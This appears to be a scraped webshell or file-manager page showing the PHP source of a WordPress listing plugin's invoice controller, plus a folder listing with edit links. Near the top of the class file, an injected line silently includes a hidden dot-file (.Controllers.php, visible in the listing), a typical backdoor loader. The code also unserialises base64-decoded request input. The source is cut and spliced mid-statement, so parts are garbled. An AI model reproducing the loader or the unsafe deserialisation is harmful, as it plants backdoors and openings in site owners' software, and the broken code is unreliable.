PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use WilokeListingTools\Framework\Helpers\FileSystem; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\GetWilokeSubmission; use WilokeListingTools\Framework\Helpers\Inc; use WilokeListingTools\Framework\Helpers\Message; use WilokeListingTools\Framework\Helpers\WooCommerce; use WilokeListingTools\Framework\Routing\Controller; use WilokeListingTools\Framework\Store\Session; use WilokeListingTools\Frontend\User; use WilokeListingTools\Models\InvoiceMetaModel; use WilokeListingTools\Models\InvoiceModel; use WilokeListingTools\Models\PaymentMetaModel; use WilokeListingTools\Models\PaymentModel; use WilokeListingTools\Models\PlanRelationshipModel; use Konekt\PdfInvoice\InvoicePrinter; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class InvoiceController extends Controller { public function __construct() { add_action('wp_ajax_delete_all_invoices', [$this, 'deleteAllInvoices']); add_action('wp_ajax_download_invoice', [$this, 'downloadInvoice']); add_filter('wilcity/theme-options/configurations', [$this, 'addInvoiceSettingsToThemeOptions']); add_filter( 'wilcity/wiloke-listing-tools/invoice-attachment', [$this, 'generateInvoiceDownloadFilePath'], 10, 2 ); add_action('init', [$this, 'emailDownloadInvoiceAsPdf']); add_action('init', [$this, 'newDownloadInvoiceAsPDF']); add_action('wilcity_delete_invoice', [$this, 'deleteInvoiceAfterSending'], 10, 3); $aBillingTypes = wilokeListingToolsRepository()->get('payment:billingTypes', false); foreach ($aBillingTypes as $billingType) { add_action( 'wilcity/wiloke-listing-tools/'.$billingType.'/payment-completed', [$this, 'prepareInsertInvoice'] ); add_action( 'wilcity/wiloke-listing-tools/'.$billingType.'/payment-refunded', [$this, 'prepareInsertInvoice'] ); } add_filter('wilcity-login-with-social/after_login_redirect_to', [$this, 'maybeRedirectToDownloadInvoice'], 100); } /* * This link will be inserted to customer email, and when clicking on this link, it will redirect this * home page and this function will handle it * * @since 1.2.0 */ public function emailDownloadInvoiceAsPdf() { if (!isset($_GET['action']) || $_GET['action'] != 'download_invoice' || empty($_GET['invoice'])) { return false; } $aParseInvoice = maybe_unserialize(base64_decode($_GET['invoice'])); $url = esc_url(FileSystem::getWilcityFolderUrl().implode('/', $aParseInvoice).'.pdf'); header("Content-type:application/pdf"); header("Content-Disposition: attachment;filename=".trim($aParseInvoice[1]).'.pdf'); readfile($url); die(); } public function maybeRedirectToDownloadInvoice($redirectTo) { $_redirectTo = Session::getSession('redirectTo', true); if (empty($_redirectTo)) { return $redirectTo; } $oInfo = json_encode($_redirectTo); $redirectTo = add_query_arg( [ 'action' => $oInfo->action, 'invoiceID' => $oInfo->invoiceID, 'userID' => $oInfo->userID ], home_url('/') ); return $redirectTo; } public function deleteInvoiceAfterSending($userID, $invoiceID, $url) { $userFolderDir = FileSystem::getUserFolderDir($userID); $aParsedUrl = explode('/', $url); $fileName = end($aParsedUrl); $userFolderDir = rtrim($userFolderDir, '/'); $aParsedUserFolderDir = explode('/', $userFolderDir); $subFolder = end($aParsedUserFolderDir); FileSystem::deleteFile($fileName, $subFolder); } public function newDownloadInvoiceAsPDF() { if ( !isset($_GET['action']) || $_GET['action'] != 'new_download_invoice' || !isset($_GET['invoiceID']) || empty($_GET['invoiceID']) || !isset($_GET['userID']) || empty($_GET['userID']) ) { return false; } $invoiceID = abs($_GET['invoiceID']); if (!is_user_logged_in()) { \WilokeMessage::message( [ 'msg' => esc_html__( 'In order to download invoice, you have to log into your account first', 'wiloke-listing-tools' ), 'status' => 'info', 'msgIcon' => 'la la-bullhorn', 'hasMsgIcon' => true ] ); Session::setSession('redirectTo', json_encode([ 'action' => 'new_download_invoice', 'invoiceID' => $invoiceID, 'userID' => abs($_GET['userID']) ])); return false; } $paymentID = InvoiceModel::getField('paymentID', $invoiceID); $userID = PaymentModel::getField('userID', $paymentID); if ($userID != get_current_user_id()) { wp_die(esc_html__('You do not have permission to access this page', 'wiloke-listing-tools')); } $url = $this->generateInvoice( ['userID' => $_GET['userID'], 'invoiceID' => $invoiceID], 'F' ); if ($url) { wp_schedule_single_event(time() + 300, 'wilcity_delete_invoice', [$userID, $invoiceID, $url]); wp_safe_redirect($url); exit; } else { \WilokeMessage::message([ 'msg' => esc_html__('Error: We could not generate this invoice', 'wiloke-listing-tools'), 'status' => 'danger', 'msgIcon' => 'la la-bullhorn', 'hasMsgIcon' => true ]); } } /* * Adding Invoice Settings To Theme Options * * @since 1.2.0 */ public function addInvoiceSettingsToThemeOptions($aOptions) { $aOptions[] = [ 'title' => 'Invoice Settings', 'id' => 'invoice_settings', 'icon' => 'dashicons dashicons-book-alt', 'subsection' => false, 'customizer_width' => '500px', 'fields' => [ [ 'id' => 'invoice_logo', 'type' => 'media', 'title' => 'Invoice Logo', 'description' => 'Leave empty to use Logo that uploaded under General Setting', ], [ 'id' => 'invoice_size', 'type' => 'select', 'title' => 'Invoice Size', 'options' => [ 'A4' => 'A4', 'Letter' => 'Letter', 'Legal' => 'Legal' ], 'default' => 'A4' ], [ 'id' => 'invoice_type', 'type' => 'text', 'title' => 'Invoice Type', 'default' => 'Sale Invoice' ], [ 'id' => 'invoice_reference', 'type' => 'text', 'title' => 'Invoice Reference', 'default' => 'IVC-%invoiceID%', ], [ 'id' => 'invoice_seller_section_settings_open', 'type' => 'section', 'title' => 'Seller Settings', 'indent' => true ], [ 'id' => 'invoice_billing_from_title', 'type' => 'text', 'title' => 'Billing From Title', 'default' => 'Billing From' ], [ 'id' => 'invoice_seller_company_name', 'type' => 'text', 'title' => 'Company Name', 'default' => 'Sample Company Name' ], [ 'id' => 'invoice_seller_company_address', 'type' => 'text', 'title' => 'Company Address', 'default' => '172 HoanKiem street' ], [ 'id' => 'invoice_seller_company_city_country', 'type' => 'text', 'title' => 'Company City and Country', 'default' => 'Hanoi, Vietnam' ], [ 'id' => 'invoice_seller_section_settings_close', 'type' => 'section', 'title' => '', 'indent' => false ], [ 'id' => 'invoice_purchaser_section_settings_open', 'type' => 'section', 'title' => 'Purchaser Settings', 'indent' => true ], [ 'id' => 'invoice_billing_to_title', 'type' => 'text', 'title' => 'Billing To Title', 'default' => 'Billing To' ], [ 'id' => 'invoice_purchaser_section_settings_close', 'type' => 'section', 'title' => '', 'indent' => false ], [ 'id' => 'invoice_badge', 'type' => 'text', 'title' => 'Badge Name', 'default' => 'Payment Paid' ], [ 'id' => 'invoice_notice_title', 'type' => 'text', 'title' => 'Notice Title', 'default' => 'Important Notice' ], [ 'id' => 'invoice_notice_description', 'type' => 'textarea', 'title' => 'Notice Description', 'default' => 'No item will be replaced or refunded if you don\'t have the invoice with you' ], [ 'id' => 'invoice_download_file_name', 'type' => 'text', 'title' => 'Download File Name', 'default' => 'INV-%invoiceID%-%invoiceDate%' ] ] ]; return $aOptions; } /* * Generate Invoice * * @since 1.2.0 * @var $outputType I => Display on browser, D => Force Download, F => local path save, S => return document as string * @var $aData Array | params: invoiceID, userID */ protected function generateInvoice($aData, $outputType = 'D') { $locale = get_locale(); $aLocale = explode('_', $locale); $userID = isset($aData['userID']) && !empty($aData['userID']) ? $aData['userID'] : ''; $aInvoice = InvoiceModel::getInvoiceDetails($aData['invoiceID'], $userID); if (empty($aInvoice)) { return false; } $planID = PaymentModel::getField('planID', $aInvoice['paymentID']); $currency = apply_filters( 'wilcity/wiloke-listing-tools/generateInvoice/currency', html_entity_decode(GetWilokeSubmission::getSymbol(strtoupper($aInvoice['currency'])), ENT_COMPAT, 'UTF-8') ); $oInvoicePrinter = new InvoicePrinter( \WilokeThemeOptions::getOptionDetail('invoice_size'), $currency, $aLocale[0] ); // $oInvoicePrinter->AddFont('arialpl', '', 'arialpl.php'); // $oInvoicePrinter->font = 'arialpl'; $dateFormat = get_option('date_format'); $aInvoiceLogo = \WilokeThemeOptions::getOptionDetail('invoice_logo'); $billingDate = date_i18n($dateFormat, strtotime($aInvoice['created_at'])); $billingTime = date_i18n(get_option('time_format'), strtotime($aInvoice['created_at'])); if (is_array($aInvoiceLogo) && isset($aInvoiceLogo['url']) && !empty($aInvoiceLogo['url'])) { $invoiceLogoUrl = $aInvoiceLogo['url']; } else { $aSiteLogo = \WilokeThemeOptions::getOptionDetail('general_logo'); if (is_array($aSiteLogo) && isset($aSiteLogo['url']) && !empty($aSiteLogo['url'])) { $invoiceLogoUrl = $aSiteLogo['url']; } } /* Header settings */ if (!empty($invoiceLogoUrl)) { $oInvoicePrinter->setLogo($invoiceLogoUrl); } $oInvoicePrinter->setColor(GetSettings::getThemeColor()); $oInvoicePrinter->setType(\WilokeThemeOptions::getOptionDetail('invoice_type')); $invoiceReference = \WilokeThemeOptions::getOptionDetail('invoice_reference'); if (!empty($invoiceReference)) { $invoiceReference = str_replace('%invoiceID%', $aData['invoiceID'], $invoiceReference); $oInvoicePrinter->setReference($invoiceReference); } $oInvoicePrinter->setDate($billingDate); //Billing Date $oInvoicePrinter->setTime($billingTime); //Billing Time # Seller Information $aSellerNameInfo = []; if ($sellerCompanyName = \WilokeThemeOptions::getOptionDetail('invoice_seller_company_name')) { $aSellerNameInfo[] = iconv('UTF-8', 'ISO-8859-1//TRANSLIT', $sellerCompanyName); } if ($sellerCompanyAddress = \WilokeThemeOptions::getOptionDetail('invoice_seller_company_address')) { $aSellerNameInfo[] = $sellerCompanyAddress; } if ($sellerCompanyCityAndCountry = \WilokeThemeOptions::getOptionDetail('invoice_seller_company_city_country') ) { $aSellerNameInfo[] = $sellerCompanyCityAndCountry; } $oInvoicePrinter->setFrom(apply_filters( 'wilcity/wiloke-listing-tools/filter/invoince/seller-info', $aSellerNameInfo )); # Purchaser Information $paymentID = InvoiceModel::getField('paymentID', $aData['invoiceID']); $userID = PaymentModel::getField('userID', $paymentID); $aPurchaserInfo = []; $oPurchaserInfo = new \WP_User($userID); if (!empty($oPurchaserInfo->billing_company)) { $aPurchaserInfo[] = $oPurchaserInfo->billing_company; } else { $fullName = $oPurchaserInfo->first_name.' '.$oPurchaserInfo->last_name; if (empty($fileName)) { $aPurchaserInfo[] = $oPurchaserInfo->display_name; } else { $aPurchaserInfo[] = $fullName; } } $address = $oPurchaserInfo->billing_address_1; if (empty($oPurchaserInfo->billing_address_1)) { $address = User::getAddress($userID); } if (!empty($address)) { $aPurchaserInfo[] = $address; } if (!empty($oPurchaserInfo->billing_city)) { $aPurchaserInfo[] = $oPurchaserInfo->billing_city.' '.$oPurchaserInfo->billing_country; } else if (!empty($oPurchaserInfo->billing_country)) { $aPurchaserInfo[] = $oPurchaserInfo->billing_country; } $oInvoicePrinter->setTo(apply_filters( 'wilcity/wiloke-listing-tools/filter/invoince/purchaser-info', $aPurchaserInfo, $userID )); $planName = get_the_title($planID); if (empty($planName)) { $p tID); if (empty($invoiceID)) { InvoiceModel::set( $paymentID, [ 'currency' => $oOrder->get_currency(), 'subTotal' => $aItem['subtotal'], 'discount' => floatval($aItem['subtotal']) - floatval($aItem['total']), 'tax' => $aItem['total_tax'], 'total' => $aItem['total'] ] ); } $order++; } } else { foreach ($aItems as $aItem) { $productID = $aItem['product_id']; $planID = PlanRelationshipModel::getPlanIDByProductID($productID); //$payment = PlanRelationshipModel::getPlanIDByProductID($productID); if (!empty($planID)) { $paymentID = PaymentModel::getPaymentIDByOrderIDAndPlanID($aData['orderID'], $planID); $invoiceID = InvoiceModel::getInvoiceIDByPaymentID($paymentID); if (empty($invoiceID)) { InvoiceModel::set( $paymentID, [ 'currency' => $oOrder->get_currency(), 'subTotal' => $aItem['subtotal'], 'discount' => floatval($aItem['subtotal']) - floatval($aItem['total']), 'tax' => $aItem['total_tax'], 'total' => $aItem['total'] ] ); } } } } } /** * Inserting Invoice after WooCommerce Subscription Order is created */ public function insertNewInvoiceAfterPaymentViaWooCommerceSubscriptionRenewed(\WC_Subscription $that) { $orderID = $that->get_parent_id(); $this->insertWilokeSubmissionInvoiceAfterWooCommerceOrderCreated([ 'orderID' => $orderID ]); } /* * Inserting Invoice after payment has been completed * It's for NonRecurring Payment only * * @since 1.0 */ public function insertNewInvoiceAfterPayViaWooCommerceSucceeded($aData) { if (WooCommerce::isSubscription($aData['orderID'])) { return false; } $this->insertWilokeSubmissionInvoiceAfterWooCommerceOrderCreated($aData); } /* * For Direct Bank Transfer Only */ public function update($aInfo) { if ( $aInfo['newStatus'] != 'active' && $aInfo['newStatus'] != 'succeeded' && $aInfo['gateway'] != 'banktransfer' ) { return false; } $aTransactionInfo = PaymentMetaModel::getPaymentInfo($aInfo['paymentID']); if ( GetWilokeSubmission::isNonRecurringPayment($aInfo['billingType']) || (!GetWilokeSubmission::isNonRecurringPayment($aInfo['billingType']) && $aInfo['newStatus'] == 'active' && $aInfo['oldStatus'] == 'processing') ) { InvoiceModel::set( $aInfo['paymentID'], [ 'currency' => $aTransactionInfo['currency'], 'subTotal' => $aTransactionInfo['subTotal'], 'discount' => $aTransactionInfo['discount'], 'tax' => $aTransactionInfo['tax'], 'total' => $aTransactionInfo['total'] ] ); } } }
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]